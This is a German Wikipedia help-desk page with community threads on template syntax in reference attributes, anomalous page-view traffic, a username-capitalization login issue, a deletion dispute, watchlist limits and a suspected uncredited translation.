Wikipedia:Fragen zur Wikipedia

Erdmännchen-Maskottchen bei der Arbeit

Du hast Fragen zur Bearbeitung der Wikipedia und keine Antwort auf Hilfe:FAQ gefunden? Dann bist du hier richtig! Fragen werden nicht per E-Mail beantwortet, sondern nur auf dieser Seite. Bei aktuellen Themen findet sich hier oft schon eine passende Diskussion, die deine Frage beantworten kann. Bitte diskutiere dann dort und lege keinen neuen Abschnitt zum selben Thema an.

Ist das die richtige Seite für mich?

English version

Für die Diskussion vieler konkreter Fragen und Anliegen gibt es andere spezielle Seiten:

• Fragen von Neulingen – allgemeine Fragen zur Mitarbeit in der Wikipedia
• Auskunft – Fragen zu Wissensthemen
• Projektdiskussion – für projektübergreifende Themen
• Verbesserungsvorschläge – für technische Vorschläge
• Vandalismusmeldung – zum Melden von Vandalismus, Edit-Wars und persönlichen Angriffen
• Adminanfragen – Anfragen an Administratoren
• Sichtungsanfragen – Anfragen zum Sichten von Artikeländerungen
• Verschiebewünsche – Verschieben von gesperrten Artikeln
• Redundanz – zum Klären thematischer Überlappungen von Artikeln
• Urheberrechtsfragen – klärt, welche Inhalte für die Wikipedia verwendbar sind
• Übersetzungswerkstatt – für Hilfe bei sprachlichen Fragen zu Übersetzungen
• Relevanzcheck – die Relevanz eines geplanten Artikels einschätzen lassen
• Werkstätten – für tiefergehende Fachfragen und Problemlösungen
• Hilfe – Wikipedia lesen und bearbeiten

Inhaltliche Fragen zu einem Artikel kannst du auf der jeweils zugehörigen Diskussionsseite des Artikels stellen.

Stelle deine Frage zur Wikipedia

oder

Gehe zur „Auskunft“ für allgemeine Fragen

Archiv

Abschnitte, deren jüngster Beitrag mehr als vier Tage zurückliegt oder die seit zwei Tagen mit dem Baustein {{Erledigt|1=~~~~}} gekennzeichnet sind, werden automatisch archiviert. Möglicherweise findest du auch im Archiv die Antwort auf deine Frage. (Gesamtarchiv • diese Woche)

ausblenden

Verhalten im
Notfall

Automatische Archivierung

Auf dieser Seite werden Abschnitte ab Überschriftenebene 2 automatisch archiviert, die seit 2 Tagen mit dem Baustein {{Erledigt|1=--~~~~}} versehen sind oder deren jüngster Beitrag 4 Tage alt ist.

Vorlage:Autoarchiv-Erledigt/Wartung/Parameter Zeigen auf Nein gesetzt

25. Februar

{{"}} in details bei Referenzen

In Theta nigrum ist drei mal so eine Konstruktion. Damit es klappt ist ein Konstrukt wie {{"|…}} verwendet worden. Problem ist wohl das Hochkomma im Namen der Vorlage, das würde als Ende des String von "details" gesehen. Einfaches Hochkomma geht auch nicht, weil diese für Kursivschrift verwendet werden.

Ist sowas erwünscht? --Wurgl (Diskussion) 16:10, 25. Feb. 2026 (CET)

TL;DR: Nein.

<Gebetsmühle ein>details= ist konzeptionell dazu gedacht, einen kleinen String "S. 14" unterzubringen. Größere und komplexe Texte gehören zwischen <ref> und </ref>.<Gebetsmühle aus>

Das details= ist gut geeignet, um auch für das Lesepublikum offensichtliche Trivialfälle darzustellen. Wenn man komplexe Gebilde in das XML-Attribut reinbastelt, ist es weder für Außenstehende verständlich, wo genau was gemeint ist, noch passt die Syntax, noch ist der Einsparungseffekt weiterhin gegeben.

VG --PerfektesChaos 16:35, 25. Feb. 2026 (CET)

Ich könnte jetzt behaupten, es ist vom PerfektenChaos nicht erwünscht, aber es gefällt mir ja selbst nicht (und selbst, wenn Letzteres anders wäre, würde, ehrlich gesagt Ersteres so eingeengt nicht stimmen). Wurgl, siehe dazu meta:Talk:WMDE Technical Wishes/Sub-referencing#Ref details and quotation marks, html tags, html comments sowie Wikipedia:WikiProjekt Vorlagen/Werkstatt/Archiv 2025/4#Vorlage:" und ref details. Ich habe eben im verlinkten Artikel die Vorlage ersetzt, weil es dort auch ohne sie geht. Ping Benutzer:Johannes Richter (WMDE) zur Info. — Speravir – 01:45, 26. Feb. 2026 (CET)

Siehe z.B. meine Äußerung in HD:ENSubreferenzierung mit Google-Books-Links und die folgenden Kommentare. Technisch gesehen gibt es keinen Grund, auf Vorlagen in Subreferenzen zu verzichten. Der Parser kann mit komplexer Wikitext-Syntax in Subreferenzen genauso gut umgehen wie in normalen Einzelnachweisen, dafür ist er explizit ausgelegt und das werden wir auch in Zukunft sicherstellen.

Auch für Lesende ist das absolut kein Problem, wir führen seit Jahren Nutzungstests auch mit Lesenden durch (am Desktop, im mobilen Browser, in der App, verschiedene Altersgruppen, Geschlechter und andere demographische Merkmale, Lesende aus verschiedenen Ländern und Kulturkreisen...) und auch Subreferenzen mit umfangreicheren Informationen als die Seitenzahl sind für alle verständlich. Viele Lesende nehmen übrigens zunächst schlichtweg gar keinen Unterschied wahr, weil die meisten sowieso nur die Einzelnachweisvorschau nutzen, die Haupt- und Subreferenzinformationen anzeigt und gar nicht in die Einzelnachweisliste gehen. Mehr zur Subreferenz-Nutzung und zu Lesenden haben wir übrigens in WP:Technische Wünsche/Topwünsche/Subreferenzierung/Erkenntnisse veröffentlicht.

Stellt sich die Frage, ob / inwiefern der Wikitext komplexer durch so eine Vorlage wird. In unseren Nutzungstests sehen wir mehrheitlich keinerlei Probleme. Ich würde sagen, dass es zur Verständnis des Wikitexts keinen wesentlichen Unterschied machen sollte, ob mir die Vorlage innerhalb von <ref details="..." oder innerhalb von <ref>...</ref> begegnet. Beispiel aus Vergiftung Wiktor Juschtschenkos: <ref name="KappelerKleineGeschichtederUkraine" details="S. 283–285 ({{Google Buch |BuchID=_pPuEAAAQBAJ |Seite=1994}})." /> im Vergleich zu <ref>{{Literatur |Autor=Andreas Kappeler |Titel=Kleine Geschichte der Ukraine |Verlag=C. H. Beck |Ort=München |Datum=2024 |ISBN=978-3-406-81183-8 |Seiten=283–285 |Online={{Google Buch |BuchID=_pPuEAAAQBAJ |Seite=1994}}}}</ref> sollte für alle Wikitextuser gleich klar sein (und verkürzt den Wikitext erheblich).

Lediglich die hier diskutierte Vorlage {{"}} wäre ein Fall, wo ich persönlich drüber nachdenken würde, wie man das vielleicht anders lösen kann. Die Umwandlung zu {{"|…}} wird ja dadurch erforderlich, dass man innerhalb von details="..." kein weiteres " benutzen kann. Ich kann mir vorstellen, dass " für manche ungewohnter aussehen dürfte als ". Vielleicht wäre es eleganter, eine Weiterleitung anzulegen und die stattdessen in Subreferenzen zu nutzen? Das ist aber alles natürlich Entscheidung der Community.

Aus unserer Sicht ist jedenfalls klar: Technisch ist all das kein Problem, fürs Lesende auch nicht, trotzdem könnte sich die Community natürlich entscheiden, Regelungen für den Subreferenzinhalt zu treffen (auch wenn es die so für normale Einzelnachweise auch nicht gibt, wo ebenfalls komplexe Syntax möglich ist, ich hab sogar schon ganze Tabellen in EN gesehen). --Johannes Richter (WMDE) (Diskussion) 09:12, 26. Feb. 2026 (CET)

Denkt denn niemand an den supertollen Visual Editor? Ist es garantiert, dass jener dieses &#34; beibehält? --Wurgl (Diskussion) 09:17, 26. Feb. 2026 (CET)

Jap, das haben wir bedacht. Siehe auch den Hinweis auf unserer Projektseite, wenn ich im VisualEditor beim Details hinzufügen/ändern " eintippe, wird das im Wikitext automatisch in " umgewandelt.

Das wäre übrigens auch meine Empfehlung (falls man nicht über eine Weiterleitung nachdenkt oder andere Alternative nachdenkt): Anstelle von {{"|...}} lieber {{"|...}} zu nutzen, denn der VisualEditor kann zwar beides korrekt anzeigen und lässt beides im Wikitext unberührt, aber erkennt nur bei {{"|...}} die Vorlage {{"}} ganz korrekt im Vorlageneditor, vgl. Benutzer:Johannes Richter (WMDE)/Test6 im VE. --Johannes Richter (WMDE) (Diskussion) 10:32, 26. Feb. 2026 (CET)

Eine Weiterleitung einzurichten war auch mein Vorschlag in der Vorlagenwerkstatt, aber die Diskussion ist dann entglitten. — Speravir – 01:40, 27. Feb. 2026 (CET)

Eine Vorlagenweiterleitung {{Quot}} würde an dieser Stelle tatsächlich Sinn machen, inklusive Dokumentation innerhalb innerhalb der Vorlage {{"}}, dass im Fall einer Verwendung innerhalb von Tag-Attributen, die Weiterleitung zu verwenden sei. Frohes Schaffen   ⵓ−) ⌨ [​ɪ​​u:] 15:53, 27. Feb. 2026 (CET)

Nur eine Kleinigkeit: Ist der Name der Vorlagen-WL Absicht oder ein versehentlicher Buchstabendreher, und es sollte eigentlich {{Quot}} heißen? Gruß, --Yen Zotto (Diskussion) 15:59, 27. Feb. 2026 (CET)

Bezeichner von Vorlagen müssen selbsterklärend sein und ihre Funktionalität für die deWP-Autoren intuitiv deutlich machen.

• Vier-Buchstaben-Bezeichner sind für neue Vorlagen grundsätzlich nicht mehr zulässig.
• Quot wäre absolut ungeeignet.

XML-Attribute sind nicht dafür geeignet, komplexe Wikisyntax aufzunehmen; insbesondere nichts mit "<> oder Zeilenumbruch.

VG --PerfektesChaos 16:04, 27. Feb. 2026 (CET)

Stimmt natürlich. Dass Vorlagen innerhalb von XML-Attributen erlaubt wurden, halte ich auch für einen Fehler. Aber die Trickserei mit HTML-Entitäten &quot; oder &#34; sind für keinesfalls eine Alternative. Bessere Bezeichung als quot?  Frohes Schaffen   ⵓ−) ⌨ [​ɪ​​u:] 16:13, 27. Feb. 2026 (CET)

@PerfektesChaos:Was hältst du von der Bezeichnung {{Aussage}}, denn es ist ja eine wörtlich Aussage die zwischen den Anführungszeichen steht? Frohes Schaffen   ⵓ−) ⌨ [​ɪ​​u:] 22:19, 28. Feb. 2026 (CET)

Null.

Die komplette Wikipedia besteht nur aus enzyklopädischen Aussagen; was soll mir da eine solche Vorlage als eine ganz besondere Aussage vermitteln?

Das Wort „Zitat“ müsste schon drin vorkommen, denn genau darum geht es.

Allen Autoren müsste deutlich werden, was eine Vorlage unter diesem Namen bewirken wird.

VG --PerfektesChaos 22:24, 28. Feb. 2026 (CET)

@PerfektesChaos: hm, ich fürchte das kommt dann zu Verwechslungen. Zwischen Anführungszeichen steht oft anderes als Zitate, zB Hervorhebungen einzelner Worte oder Aussagen, siehe Anführungszeichen#Anführungszeichen im Deutschen, »Zitat« könnte in diesem Zusammenhang eine zu starke Begriffliche Einschränkung sein. Frohes Schaffen   ⵓ−) ⌨ [​ɪ​​u:] 23:28, 28. Feb. 2026 (CET)

Der einzige Grund, warum an dieser Stelle etwas in Anführungszeichen gesetzt wird, ist ein wortwörtliches Zitat aus der Publikation, mit der eine enzyklopädischen Aussage unterfüttert werden soll.

„steht oft anderes als Zitate“ – das ist bezogen auf die refs kompletter Nonsens; im Haupttext mag anderes vorkommen. Wir zitieren im ref jedoch das Lampukistan-Handbuch, S. 123, „So isses.“

Vorlage:" „Formatierung von Zitaten im Fließtext.“

• Kategorie:Vorlage:Zitieren

VG --PerfektesChaos 23:38, 28. Feb. 2026 (CET)

@PerfektesChaos: In HTML sollte für Inline-Quotation eigentlich das Element <q> verwendet werden. Das würde Screenreadern etwas helfen. Mich wundert gerade, dass das in der Vorlage {{"}} nicht verwendet wird.  Frohes Schaffen   ⵓ−) ⌨ [​ɪ​​u:] 12:59, 1. Mär. 2026 (CET)

Das dürfte einen guten Grund haben:

• Quotation punctuation (such as quotation marks) must not appear immediately before, after, or inside q elements; they will be inserted into the rendering by the user agent.
• Heißt: wenn das in <q> stünde, machen Browser nochmal extra irgendwelche Anführungszeichen drumrum, wie du vermutlich vorstehend sehen kannst (was aber nicht garantiert ist).
• Schon 1998 in HTML4 so vorgesehen: Visual user agents must ensure that the content of the Q element is rendered with delimiting quotation marks. Authors should not put quotation marks at the beginning and end of the content of a Q element.

Der Nutzwert der semantischen Klassifikation ist ansonsten mager. Screenreader-Strukturen (was sollen die hier großartig anders machen?) und Sprachzuweisung auch für Rechtschreibprogramme werden genutzt, der Rest des HTML-Konzepts blieb Folklore.

VG --PerfektesChaos 15:38, 1. Mär. 2026 (CET)

ja, das ist erwartest Verhalten, die q-Tags ersetzen die Typographischen Anführungszeichen, weshalb im Text keine vorkommen sollten. Welche Art der Anführungszeichen angezeigt wird, kann über CSS festgelegt werden. Bei auto-Mode wird das für eine bestimmte Sprache vorgesehen Anführungszeichen automatisch gewählt, also wenn ein span-Tag mit dem Attribut

 
<span lang="fr-FR"><q>franz. <q>Test</q> Wort</q></span><br />
<span lang="en-uk"><q>englisch <q>Test</q> Wort</q></span><br />
<span lang="de-at"><q>deutsch <q>Test</q> Wort</q></span><br />

liert das:

franz. Test Wort

englisch Test Wort

deutsch Test Wort

 Frohes Schaffen   ⵓ−) ⌨ [​ɪ​​u:] 14:30, 4. Mär. 2026 (CET)

Damit würden wir uns völlig in die Hand der Browser begeben, die bei jeder Sprache zu anderen Schlussfolgerungen kommen könnten, oder alles in der deutschen oder englichen Version anzeigen.

Ob die de-CH sauber und korrekt von de unterscheiden würden, steht dahin. Nicht stabil vorhersagbar; aber gäbe einen Aufschrei aus CH wenn das irgendwo nicht hinhaut.

Wir haben für 58 Sprachen die uns bekannten Kombinationen explizit definiert.

Damit ist sichergestellt, dass es auf jedem Endgerät für alle gleich dargestellt wird.

Im Übrigen interessiert sich niemand für ein <q>, das war 1998 mal als Konzept für semantische Texte eingeführt worden, aber das www hat nicht alle dieser Konzepte in den angebotenen Texten umgesetzt, und es hat nirgendwo Konsequenzen.

Außerdem bräuchte es oben kein gesondertes <span> – intelligenterweise würde lang= direkt im <q> attribuiert werden.

VG --PerfektesChaos 14:43, 4. Mär. 2026 (CET)

Die angezeigten typographischen Anführungszeichen sollten sich über globale CSS bzw Vorlagen-spezifische CSS festlegen lassen. Damit wäre die Naturgaben Komplexität schnell reduziert. Das de-CH derzeit nicht richtig funktioniert, liegt wohl daran, dass im Mediawiki-CSS die Zeichen nicht eingestellt sind. Die Zeichen kommen vom user-agent-Stylesheet des Browsers. Frohes Schaffen   ⵓ−) ⌨ [​ɪ​​u:] 15:34, 4. Mär. 2026 (CET)

Es gibt kein „Das de-CH derzeit nicht richtig funktioniert, liegt wohl daran, dass im Mediawiki-CSS die Zeichen nicht eingestellt sind“ – Mediawiki hat nichts damit zu tun.

Die Browser sind erstmal allein verantwortlich, die richtigen Anführungszeichen zu verwenden, und meiner Beobachtung nach verwenden Browser mit deutschsprachiger Installation auf allen Webseiten in allen Sprachen die „“ für alles, egal wo.

Keine Sau interessiert sich dafür, was in <q> stehen würde; es hat keinerlei Konsequenzen, anders als 1998 mal wohlmeinend gedacht und ermöglicht. Es gibt auch extremst wenig Webseiten (wohl weniger als eine von einer Milliarde), die <q> verwenden. Es ist keine Software bekannt, die <q> irgendwie verwerten würden.

KISS.

VG --PerfektesChaos 15:49, 4. Mär. 2026 (CET)

26. Februar

Liste der größten Auslegerbrücken

Ruft man bei der Liste der größten Auslegerbrücken die Abrufstatistik auf, so sieht man seit mehreren Monaten nahezu konstant tägliche Werte um 30.000 Aufrufe, entsprechend etwa 1 Million Aufrufe pro Monat. Der Artikel über unseren aktuellen Bundeskanzler erreicht nicht annähernd diese Werte. Was macht die Brückenliste so attraktiv? Könnte da ein automatisierter Aufruf dahinter stehen, aber wozu? --Thomas Binder, Berlin (Diskussion) 09:19, 26. Feb. 2026 (CET)

Sicherlich automatisiert, und das seit 2023. Führt derzeit die Topviews Analyse --Windharp (Diskussion) 10:54, 26. Feb. 2026 (CET)

Ergänzung: Hier vermutet man, dass eine App die Seite zum Verbindungstest benutzt. In meinen Augen würde gegen eine frei verfügbare App sprechen, daß die Anzahl der Zugriffe über die Monate nahezu konstant bleibt. Eher was, das nur ein begrenzter Benutzerkreis verwendet. --Windharp (Diskussion) 10:57, 26. Feb. 2026 (CET)

Ah ja, die Idee "zum Verbindungstest" ist eine interessante Erklärung. Die Zahl spricht für einen "Ping" etwa aller 3 Sekunden, wenn es ein einziger Anwender wäre. --Thomas Binder, Berlin (Diskussion) 11:16, 26. Feb. 2026 (CET)

Wäre das nicht ein Fall für die Foundation? Ist ja offensichtlich ein Missbrauch, bei kleineren Website wäre das ein DoS-Angriff. --Bahnmoeller (Diskussion) 12:13, 26. Feb. 2026 (CET)

Mit mittlerweile 30.000 Zugriffen am Tag läuft da irgendwas falsch. Normal wären für so ein Thema vielleicht 50. Man kann noch sagen, dass diese Zugriffe aus dem Bereich "mobiles Web" kommen und nicht "Desktop" oder "mobile App". --Bernd Rohlfs (Diskussion) 12:50, 26. Feb. 2026 (CET)

Ab Oktober/November wurde in der monatlichen Ansicht von "mobiles Web" auf "Desktop" gewechselt. Das sind schon echt große Zahlen. --Skranon (Diskussion) 17:46, 26. Feb. 2026 (CET)

Ich habe das gemäß https://pageviews.wmcloud.org/topviews/faq/#false_positive mal als false positive gmeldet --AsepTisch (Diskussion) 11:33, 2. Mär. 2026 (CET)

@AsepTisch: Das ist löblich, nach Durchsicht der alten Threads dazu haben das allerdings schon mindestens zwei andere gemacht. Ich weiß nicht genau wie der Prozess zum Bearbeiten dieser Meldungen aussieht, aber... --Windharp (Diskussion) 09:04, 6. Mär. 2026 (CET)

Das habe ich auch gesehen, dachte ein zweiter oder dritter Versuch schaded dabei nicht. Ein unkonventioneller Lösungsvorschlag, wäre die Seite mal für ein paar Tage ersatzlos zu löschen, nur um zu sehen was danach passiert. Das ist aber vermutlich nicht durchführbar. Ich schaue demnächst mal, ob ich da noch andere Leute ansprechen kann. --AsepTisch (Diskussion) 09:09, 6. Mär. 2026 (CET)

1. März

Ohne Eigenaktivität ist mein Passwort nicht mehr gültig und keine Mail zum Ändern kommt an

Hallo Zusammen.

Problem kurz zusammengefasst: WP_DE akzeptiert mein Passwort nicht mehr für Benutzer:Jonfranconia und es kommt keine Mail mehr an meine alte Email-Adresse an (Mailadresse nicht von mir geändert).

Vor ein paar Wochen habe ich den Benutzernamen von j_heisenberg auf JonFranconia (aus Privatsphäregründen) geändert. Dabei wurde die Mailadresse (eine alte hotmail-Adresse) beibehalten (Vor wenigen Tagen habe ich noch eine Mitteilung/Einladung zu einer Ausfahrt mit anderen Wikipedianer/innen bekommen).

Vielen Dank im Voraus, JH/JonFranconia --~2026-13372-30 (Diskussion) 17:29, 1. Mär. 2026 (CET)

Hallo Brettchenweber,

ja, habe ich bekommen

Grüße, JonFranconia --~2026-13326-83 (Diskussion) 17:38, 1. Mär. 2026 (CET)

Okay, dann liegt es zumindest schon einmal nicht an der Mailadresse. Im Spamordner ist die Mail mit deinem Passwort aber nicht zufällig gelandet? --Brettchenweber (Diskussion) 17:40, 1. Mär. 2026 (CET)

Nee, Spam ist leer. Ich versuche es jetzt nochmal mit zurücksetzen (vielleicht liegt es an meinem Kennwortverwalter und Wiki will erkennt das Kennwort nicht als Text... einen Moment bitte. --~2026-13326-83 (Diskussion) 17:44, 1. Mär. 2026 (CET)

Es kommt nichts durch (die Test-Mail ist auch nicht im Spamordner sondern im normalen Postfach gelandet) --~2026-13326-83 (Diskussion) 17:52, 1. Mär. 2026 (CET)

@XenonX3 und Johannnes89, ihr seid doch Technikexperten – habt ihr eine Idee? Der User hat offenbar Zugriff auf sein Postfach, meine Wikimail ist auch angekommen, aber die Mail mit dem neuen Passwort nicht. Viele Grüße --Brettchenweber (Diskussion) 17:56, 1. Mär. 2026 (CET)

Eine Mail an ca@wikimedia.org könnte helfen. Die sind auch zuständig, wenn diese komischen Sicherheitscodes nicht ankommen. XenonX3 – (☎) 17:58, 1. Mär. 2026 (CET)

Auf Englisch? --~2026-13326-83 (Diskussion) 18:00, 1. Mär. 2026 (CET)

Vielleicht auf Deutsch + Übersetzung (mit Deepl)? --Brettchenweber (Diskussion) 18:15, 1. Mär. 2026 (CET)

Dort sprechen auch einige deutsch, aber es kann nicht schaden. Viele Grüße --Itti 18:18, 1. Mär. 2026 (CET)

Danke, ich sprech Englisch, hätte ich auch nachschaun können :)

LG JonFranconia --~2026-13326-83 (Diskussion) 18:37, 1. Mär. 2026 (CET)

Viel Erfolg! --Brettchenweber (Diskussion) 18:38, 1. Mär. 2026 (CET)

Der Grund war anscheinend ... Trommelwirbel ... die Groß- und Kleinschreibung. Ich hatte den Account als "JonFranconia" angelegt, geändert vom System auf "Jonfranconia", daraufhin aber keine Anmeldung unter "JonFranconia" möglich. Ein merkwürdige UX-Entscheidung, imo. BG - Jonfranconia (Diskussion) 18:47, 3. Mär. 2026 (CET)

Vllt 2-Faktor stattdessen, falls es um Sicherheitsbedenken geht? Ich war es halt kaum gewöhnt, auf CaMelCasE zu achten (ausser bei Passwort natürlich), so dass ich nicht auf die Idee gek. bin. Falls kein verbreitetes Problem vllt wayne... - Jonfranconia (Diskussion) 18:54, 3. Mär. 2026 (CET)

P.S. falls Wiki keine Binnen-Großbuchstaben erlaubt (wie es aussieht), sollte es vllt automatisch beim Login umgeschrieben werden. nunja. --Jonfranconia (Diskussion) 18:57, 3. Mär. 2026 (CET)

Nun ja, mir scheint, Binnen-Großbuchstaben könnten möglich sein. ;) Sicher, dass du dich nicht aus Versehen bei der Eingabe verschrieben haben könntest und grundsätzlich Kleinbuchstaben gewählt hast? Oder eine Autokorrektur dies vor dem Abschicken auf Wikipedia angepasst hat. Da Binnen-Großbuchstaben möglich sind, dürfte der Fehler eher nicht bei Wikipedia liegen. – Und da Benutzerkonten case-sensitiv sind, kannst du dich natürlich auch nicht als JonFranconia anmelden. Ein neues Konto kann unter dem Namen ebenfalls nicht angelegt werden, da zu ähnlich. Aber ich kann gern dein Konto global in „JonFranconia“ umbenennen. Noch besser wäre es, wenn du dies auf WP:BÄ einfach selbst beantragtest. Grüße, —DerHexer (Disk., Bew.) 15:29, 4. Mär. 2026 (CET)

Das ist genau die Sache, warum Benutzerkonten case sensitiv beim Einloggen sind (ist vielleicht nicht so unüblich wie ich es mir gerade vorgestellt hatte). Ich dachte, ich hätte den Namen auf "JonFranconia" geändert - so war's auch in meinem PW-Manager hinterlegt - muss aber tatsächlich eben ohne Binnen-Großbuchstaben gewesen sein. Hat sich ja nun erledigt. LG - Jonfranconia (Diskussion) 16:10, 4. Mär. 2026 (CET)

2. März

Gelöschter Artikel ohne Rücksprache

Liebe Community, kann mir bitte jemand mitteilen, wie ich einen Administrator anschreiben kann? Danke. Mein Artikel "Wissenschaftswoche" Bayern, wurde ohne Rücksprache oder Diskussion gelöscht, weil "offensichtlich ohne Relevanz", betrifft aber jährlich 350.000 Personen im Gymnasium direkt (mehr als P-Seminar und W-Seminar, die man laut Wikipedia-Bitte aktualisieren sollte) und etwaige Eltern, Lehrer, Bekannte auch noch – oder den Marktplatz Chur, der einen eigenen Eintrag hat: wo ist die Relevanz (nicht die Stadt selbst, das sehe ich ein). Ich finde, das entspricht nicht dem Grundsatz von Wikipedia mit der Idee des leicht zugänglichen Wissens für alle. LG --Chhelp (Diskussion) 19:36, 2. Mär. 2026 (CET)

du kannst den löschenden Admin Xqt auf seiner Diskussionsseite anschreiben. Bringt das nicht das gewünschte Ergebnis, ist die Löschprüfung „zuständig“. Deine Argumentation sollte möglichst anhand von Wikipedia:Relevanzkriterien erfolgen und keine anderen Artikel zum Vergleich heranziehen. --elya (Diskussion) 19:49, 2. Mär. 2026 (CET)

Liebe, lieber Elya,

danke, das ist wirklich schön, so schnell Antwort zu haben. Ich beherzige deine guten Tipps und mache mich an die Arbeit. Vielen Dank.

LG --Chhelp (Diskussion) 19:58, 2. Mär. 2026 (CET)

@Chhelp: Du bist ja noch nicht lange in der Wikimedia-Welt unterwegs. Schau dir mal das WP:Mentorenprogramm an, vielleicht kann dir das eine Hilfe im Dschungel der Konventionen und Regeln hier sein. Grüße, Grand-Duc ist kein Großherzog (Diskussion) 20:01, 2. Mär. 2026 (CET)

Lieber Grand-Duc,

vielen Dank, werde ich machen.

LG zum Abend --Chhelp (Diskussion) 20:08, 2. Mär. 2026 (CET)

Liebe, lieber Elya,

ich habe die Löschprüfung angeschrieben. Danke erneut für den Tipp.

Es geht um die Frage: Löschung ohne Information, Rücksprache wegen "offensichtlich ohne Relevanz", nicht um die Qualität der Artikels, die natürlich von der Community und mir weiter verbessert würde (v.a. weitere Belege außerhalb des Staatsministeriums).

Bitte: Wäre es vorstellbar, dass du eine Meinung dazu schreibst? Vielen Dank.

Hier zumindest der Link zum Artikel: Ist jetzt unter Benutzer:Chhelp/Wissenschaftswoche damit sich alle ein Bild vom Artikel machen können. --Der-Wir-Ing ("DWI") (Diskussion)

LG --Chhelp (Diskussion) 11:17, 5. Mär. 2026 (CET)

4. März

Beobachtungsliste: Alternativen zu Zeitraum erhöhen

Ich möchte mir alle Artikel, die ich einem Label zugeordnet habe, über die Jahre anzeigen lassen. Leider sind nur die letzten 30 Tage möglich. Was muss ich tun, dass alle Artikel eines Themas/Portals gesammelt angezeigt werden und alle anderen ausgeblendet sind? Welche anderen Techniken gibt es, um die Filterung nicht über den Zeitraum zu erreichen? In meinem Fall geht es um Themen aus dem Portal Rumänien über die Jahre, die ich weiterhin beobachten möchte. --rkendlbacher (Diskussion) 08:43, 4. Mär. 2026 (CET)

Die Arbeit mit der Beobachtungsliste basiert auf einer speziellen Datenbanktabelle, die aus Performance-Gründen immer nur die letzten 30 Tage enthalten kann.

• Mit diesem Mittel ist dein Begehren grundsätzlich nicht zu lösen.

Zurzeit ist in Spezial:Beobachtungsliste bearbeiten leider noch nicht

• die Tabelle sortierbar (da hat sicher schon jemand einen Wunsch vorgetragen),
• die Tabelle auf nur ein Label filterbar.

So ganz trivial bekommst du deshalb momentan auch keine Liste aller Seitennamen, denen du ein bestimmtes Label zugewiesen hast.

Wenn du eine solche Liste von Seitennamen hättest, kannst du dir die jeweilige Versionsgeschichte auch über mehr als 30 Tage ansehen.

@ „Welche anderen Techniken gibt es“

• Es gibt einige nagelneue Funktionen in der API für Labels; ob die überhaupt etwas zu deiner Fragestellung beitragen könnten, weiß ich nicht.

VG --PerfektesChaos 13:40, 4. Mär. 2026 (CET)

Es gäbe die möglichkeit die Adresszeile zu manipulieren, also limit und Tage... wie weit man das treiben kann ist offen.--Maphry (Diskussion) 14:36, 4. Mär. 2026 (CET)

Bei mir setzt es immer auf 30 Tage zurück, beim Limit auf 1000. -- Peter Gröbner – 14:38, 4. Mär. 2026 (CET)

Wie ich meine Antwort begonnen hatte, stehen in der Datenbanktabelle immer nur die letzten 30 Tage. Daran ändert sich auch durch Manipulation der URL nichts.

Wenn man die Liste aller interessanten Seitennamen hätte, könnte jemand ein JavaScript-Tool basteln, das per API für die beliebige Anzahl von Tagen alle Versionsgeschichten dieses Zeitraums abruft und entsprechend auflistet. Vielleicht hat die enWP ja sowas.

VG --PerfektesChaos 14:47, 4. Mär. 2026 (CET)

An alle: Ich schließe aus Euren Antworten, dass ich da händisch herangehen muss, zum Beispiel durch eine Sammlung auf meiner persönlichen Seite, sortiert nach Themen, Dringlichkeit, Seitenerstellung, Seitenbearbeitung etc.

Dazu hatte ich mir gestern die Seite von @Bildungskind angeschaut und fand das auch mit dem Themenschwerpunkt sehr ansprechend.

Nun erklärte sie mir, dass sie das händisch macht. Davor graust mir. Somit lenke ich meine Frage um: Gibt es Tools, die mir das Anlegen einer solchen Seite mit Elementen aus der Beobachtungsliste erleichtern?

Auch hier nur eine Idee, vielleicht gibt es viel bessere Techniken. Ich möchte nicht tagelang daran sitzen. Es sind aber doch 250 Themen, von denen ich 200 weiter bearbeiten will. Vielen Dank.

PS.: Zur Eingrenzung: Mit JavaScript will ich nichts zu tun haben. Ich kann ein wenig HTML, CSS und Java, ich mache es aber einfach nicht gern. --rkendlbacher (Diskussion) 18:49, 4. Mär. 2026 (CET)

(Bin übrigens keine sie, aber nicht schlimm.)

In meinem Fall ist der Aufwand für das händische Aktualisieren recht gering, weil ich ja nicht im Sekundentakt neue Artikel anlege. Wenn ich etwas von meiner Liste abhake, geht die Aktualisierung recht flott.

Vielleicht hilft dir weiter, dass es Themenportale auf der Wikipedia gibt Portal:Wikipedia nach Themen sowie unser Kategoriensystem. Je nach Bewertungsbaustein wird ein Artikel in eine Wartungskategorie gepackt. Du könntest die Suchfunktion nutzen, um überarbeitungsbedürftige Artikel in deinem Themenbereich finden. (Was man genau in das Suchfeld eingeben musste, weiß ich nicht mehr, aber das geht. Vielleicht weiß das einer der hier Mitlesenden?) --Bildungskind (Diskussion) 19:07, 4. Mär. 2026 (CET)

Ich hab vor einiger Zeit mal eine „Komplettbeobachtungsliste“ programmiert: Hier oben auf "Meine ausführliche Beobachtungsliste anzeigen" klicken oder direkt aufrufen. So siehst Du zumindest den Status all deiner Beo-Seiten, kannst auch textlich etwas filtern. --DB111 (Diskussion) 22:28, 4. Mär. 2026 (CET)

@DB111: Tolle Sache. Danke! -- Peter Gröbner – 09:52, 5. Mär. 2026 (CET)

Sehr hilfreich. Damit lässt sich gut arbeiten. Besser als die Beobachtungsliste. Mal schauen, wie es mit dem Extrahieren wichtiger Artikel ist. --rkendlbacher (Diskussion) 12:42, 5. Mär. 2026 (CET)

"URV" in fremdsprachiger Wikipedia

(In Anführungszeichen, da ich kein Rechtsexperte bin und sich die Regelungen ja je nach Land unterscheiden können)

Beim Lesen eines Artikels über ein lokales Gebäude stolperte ich heute darüber, dass eine andere Sprachversion existierte - wer schreibt über sowas? Und da es die niederländische war, die ich als Norddeutscher ganz okay verstehen kann (beim Lesen, nicht beim Hören) mal reingeschaut. Da kamen mir doch viele Formulierungen bekannt vor.

• NL: Kerk van Sinstorf, Erstversion 30.05.2015
• DE: Sinstorfer Kirche, Version zur Einstellungszeit

Hier dürfte offenkundig ohne Quellenangabe übersetzt worden sein. Wenngleich schief (wieso zum Beispiel der Satz über die zweite Holzpfahlreihe einen Absatz nach vorne gerückt ist, ist unklar). Alleine schon die in ihrer Art ungewöhnliche Erläuterung zum "Ältesten Gebäude" würde ich in einem unabhängigen Artikel nicht erwarten.

Frage: Ist das so okay, oder soll man (wer?) den NL-sprachigen Kolleg:innen bescheid sagen? --131Platypi (Diskussion) 14:33, 4. Mär. 2026 (CET)

Nur zur Info, dass ich oben bereits ein sehr ähnliches Problem ansprach: [1]

